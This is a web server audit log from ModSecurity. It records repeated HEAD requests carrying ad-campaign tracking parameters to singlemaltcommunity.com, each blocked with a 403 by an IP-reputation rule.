X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--f265893a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--f265893a-E--
--f265893a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273911157675 8294 (- - -)
Stopwatch2: 1789273911157675 8294; combined=6416, p1=256, p2=5696, p3=83, p4=8, p5=373, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f265893a-Z--
--70490653-A--
[13/Sep/2026:07:31:51.351276 +0300] aqYnN2M7dE9KgIIOpQhiiAAAAM0 95.134.102.138 40994 127.0.0.1 7081
--70490653-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.138
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--70490653-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--70490653-E--
--70490653-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273911345058 6270 (- - -)
Stopwatch2: 1789273911345058 6270; combined=4582, p1=243, p2=3912, p3=131, p4=11, p5=285, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--70490653-Z--
--7891c96a-A--
[13/Sep/2026:07:31:52.740340 +0300] aqYnOEwu1RSkptiiNIXwCwAAAIo 151.243.174.13 41084 127.0.0.1 7081
--7891c96a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.13
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--7891c96a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7891c96a-E--
--7891c96a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273912732288 8126 (- - -)
Stopwatch2: 1789273912732288 8126; combined=6140, p1=391, p2=5188, p3=82, p4=8, p5=471, sr=137, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7891c96a-Z--
--c200c21e-A--
[13/Sep/2026:07:31:53.136607 +0300] aqYnOUwu1RSkptiiNIXwDQAAAJc 95.134.102.244 41098 127.0.0.1 7081
--c200c21e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--c200c21e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--c200c21e-E--
--c200c21e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273913131062 5612 (- - -)
Stopwatch2: 1789273913131062 5612; combined=4104, p1=213, p2=3550, p3=59, p4=6, p5=276, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c200c21e-Z--
--0b94612d-A--
[13/Sep/2026:07:31:53.514206 +0300] aqYnOWM7dE9KgIIOpQhijQAAANU 95.134.102.223 41114 127.0.0.1 7081
--0b94612d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.223
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--0b94612d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--0b94612d-E--
--0b94612d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273913500699 13574 (- - -)
Stopwatch2: 1789273913500699 13574; combined=19226, p1=230, p2=3902, p3=65, p4=6, p5=7648, sr=94, sw=0, l=0, gc=7375
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--0b94612d-Z--
--ea8c3e77-A--
[13/Sep/2026:07:32:00.133417 +0300] aqYnQEwu1RSkptiiNIXwDwAAAIs 151.243.174.215 33998 127.0.0.1 7081
--ea8c3e77-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.215
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--ea8c3e77-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--ea8c3e77-E--
--ea8c3e77-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273920112684 20774 (- - -)
Stopwatch2: 1789273920112684 20774; combined=10855, p1=3408, p2=7077, p3=91, p4=10, p5=268, sr=2249, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ea8c3e77-Z--
--4074f70a-A--
[13/Sep/2026:07:32:00.392574 +0300] aqYnQGM7dE9KgIIOpQhikAAAAMo 151.243.174.229 34002 127.0.0.1 7081
--4074f70a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--4074f70a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--4074f70a-E--
--4074f70a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273920384485 8173 (- - -)
Stopwatch2: 1789273920384485 8173; combined=6149, p1=391, p2=5294, p3=98, p4=10, p5=355, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--4074f70a-Z--
--6d02986f-A--
[13/Sep/2026:07:32:00.406401 +0300] aqYnQEwu1RSkptiiNIXwEAAAAJU 95.134.102.153 34006 127.0.0.1 7081
--6d02986f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--6d02986f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6d02986f-E--
--6d02986f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273920399227 7216 (- - -)
Stopwatch2: 1789273920399227 7216; combined=5333, p1=259, p2=4687, p3=83, p4=8, p5=296, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6d02986f-Z--
--65eb4643-A--
[13/Sep/2026:07:32:14.584008 +0300] aqYnTmM7dE9KgIIOpQhilwAAANY 91.124.31.4 43238 127.0.0.1 7081
--65eb4643-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.4
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--65eb4643-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--65eb4643-E--
--65eb4643-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273934577587 6469 (- - -)
Stopwatch2: 1789273934577587 6469; combined=4774, p1=296, p2=4106, p3=72, p4=7, p5=293, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--65eb4643-Z--
--822a843f-A--
[13/Sep/2026:07:32:14.850159 +0300] aqYnTmM7dE9KgIIOpQhimAAAANA 46.203.158.220 43254 127.0.0.1 7081
--822a843f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.220
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--822a843f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--822a843f-E--
--822a843f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273934844800 5399 (- - -)
Stopwatch2: 1789273934844800 5399; combined=3961, p1=226, p2=3429, p3=65, p4=6, p5=235, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--822a843f-Z--
--204f4b53-A--
[13/Sep/2026:07:32:15.501394 +0300] aqYnT2M7dE9KgIIOpQhimQAAANU 46.203.158.126 43258 127.0.0.1 7081
--204f4b53-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.126
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--204f4b53-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--204f4b53-E--
--204f4b53-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273935494179 7268 (- - -)
Stopwatch2: 1789273935494179 7268; combined=5157, p1=277, p2=4498, p3=94, p4=8, p5=280, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--204f4b53-Z--
--1cfee871-A--
[13/Sep/2026:07:32:26.947139 +0300] aqYnWmM7dE9KgIIOpQhinAAAAMo 95.134.102.220 56004 127.0.0.1 7081
--1cfee871-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.220
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--1cfee871-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--1cfee871-E--
--1cfee871-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273946940151 7034 (- - -)
Stopwatch2: 1789273946940151 7034; combined=4438, p1=241, p2=3797, p3=101, p4=7, p5=292, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1cfee871-Z--
--b35eb158-A--
[13/Sep/2026:07:32:27.352273 +0300] aqYnWysVWymXUono-eRRWAAAAAc 151.243.174.22 56008 127.0.0.1 7081
--b35eb158-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.22
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--b35eb158-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--b35eb158-E--
--b35eb158-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273947346281 6030 (- - -)
Stopwatch2: 1789273947346281 6030; combined=4515, p1=262, p2=3927, p3=63, p4=7, p5=256, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--b35eb158-Z--
--25b08149-A--
[13/Sep/2026:07:32:27.730890 +0300] aqYnWysVWymXUono-eRRWQAAAAo 151.243.174.96 56016 127.0.0.1 7081
--25b08149-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.96
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--25b08149-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--25b08149-E--
--25b08149-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273947724649 6292 (- - -)
Stopwatch2: 1789273947724649 6292; combined=4573, p1=220, p2=3922, p3=115, p4=17, p5=299, sr=96, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--25b08149-Z--
--2c4cce4f-A--
[13/Sep/2026:07:32:30.559715 +0300] aqYnXmM7dE9KgIIOpQhingAAAMU 151.243.174.165 56048 127.0.0.1 7081
--2c4cce4f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.165
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--2c4cce4f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--2c4cce4f-E--
--2c4cce4f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273950553813 5961 (- - -)
Stopwatch2: 1789273950553813 5961; combined=4446, p1=260, p2=3798, p3=64, p4=6, p5=318, sr=111, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2c4cce4f-Z--
--04015434-A--
[13/Sep/2026:07:32:30.928188 +0300] aqYnXmM7dE9KgIIOpQhinwAAAMA 151.243.174.176 56058 127.0.0.1 7081
--04015434-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--04015434-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--04015434-E--
--04015434-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273950921441 6798 (- - -)
Stopwatch2: 1789273950921441 6798; combined=5133, p1=251, p2=4447, p3=77, p4=8, p5=350, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--04015434-Z--
--7aefd750-A--
[13/Sep/2026:07:32:31.284980 +0300] aqYnX0wu1RSkptiiNIXwEwAAAIw 95.134.102.76 56072 127.0.0.1 7081
--7aefd750-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--7aefd750-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--7aefd750-E--
--7aefd750-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273951274989 10090 (- - -)
Stopwatch2: 1789273951274989 10090; combined=7602, p1=419, p2=6422, p3=98, p4=10, p5=653, sr=207, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7aefd750-Z--
--a89db76d-A--
[13/Sep/2026:07:32:43.800986 +0300] aqYna2M7dE9KgIIOpQhiogAAAMs 95.134.102.127 56458 127.0.0.1 7081
--a89db76d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.127
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--a89db76d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--a89db76d-E--
--a89db76d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273963793300 7735 (- - -)
Stopwatch2: 1789273963793300 7735; combined=5244, p1=304, p2=4526, p3=75, p4=8, p5=331, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a89db76d-Z--
--d5e08b69-A--
[13/Sep/2026:07:32:44.233222 +0300] aqYnbEwu1RSkptiiNIXwFAAAAJg 151.243.174.221 56488 127.0.0.1 7081
--d5e08b69-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.221
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
--d5e08b69-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--d5e08b69-E--
--d5e08b69-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273964227387 5874 (- - -)
Stopwatch2: 1789273964227387 5874; combined=4404, p1=281, p2=3756, p3=78, p4=7, p5=282, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5e08b69-Z--
--03426f1b-A--
